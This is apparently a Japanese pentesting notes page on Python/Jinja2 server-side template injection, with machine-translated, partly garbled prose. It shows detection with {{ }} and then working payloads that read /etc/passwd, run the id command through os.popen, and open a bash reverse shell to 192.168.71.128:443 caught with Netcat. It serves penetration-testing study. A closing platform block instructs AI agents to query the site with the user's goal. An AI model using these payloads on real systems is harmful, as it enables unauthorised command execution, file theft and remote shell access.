> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-pentesting-web.md).

# SSTI Python

Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための SSTI Python メモ。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b8fe6e2e6e4abeb2e1c4f645f38b45866b0e38c%2FPasted%20image%2020230925215815.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Webサイトが攻撃に対して潜在的に脆弱かどうかを知る方法 **SSTI** ？ ある値を入力できるなら、 **入力**、下の例の変数のように **ユーザー**、それが解釈される **出力**:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a53aa23584557bc8df27ab42eb8d15ad2c92931%2FPasted%20image%2020230925215835.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

次の **whatweb**、Webサーバーが **Python、Java、Jinja2、AngularJS...** プログラミング言語として使用されており、サニタイズされていないなら、この脆弱性を含む可能性があります：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6f4f00462746d3a96bd6beae5957aa3aab175196%2FPasted%20image%2020230925220213.png?alt=media" alt=""><figcaption></figcaption></figure>

これを **/{{ /}}**&#x3067;テストするには、それが **計算**:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e31fc21644c3d41f90a1b10b5d6d208a1bbec4d9%2FPasted%20image%2020230925220354.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

この場合、それは次を解釈します：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7dd4862036307dac2f4124b701003be5c85bcf19%2FPasted%20image%2020230925220416.png?alt=media" alt="" width="521"><figcaption></figcaption></figure>

このサイトのおかげで [**PayloadsAllTheThings**](https://github.com/swisskyrepo/PayloadsAllTheThings)、すべての [可能なインジェクション](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)：以下は **Python**：アクセスを取得する **システム内の任意のリソース** (/**etc/passwd**):

```python
{{ ''.__class__.__mro__[2].__subclasss__()[40]('/etc/passwd').read() }}

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e9482073dd382d0cd931e51aa045992bfa78b7dc%2FPasted%20image%2020230925221319.png?alt=media" alt=""><figcaption></figcaption></figure>

任意の **コマンド** システムの（**id**):

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd3f87b25e788bfaa3600803066cda2359d1c1b5%2FPasted%20image%2020230925221537.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

取得する **アクセス** サーバーへの：

```python
http://localhost:8089/?user={{+self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >%26/dev/tcp/192.168.71.128/443 0>%261" ').read()+}}

```

〜で待ち受けます **Netcat** そして侵入成功：）

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cadc9df396339be8bc4148820b7584d9aed94e75%2FPasted%20image%2020230925221941.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
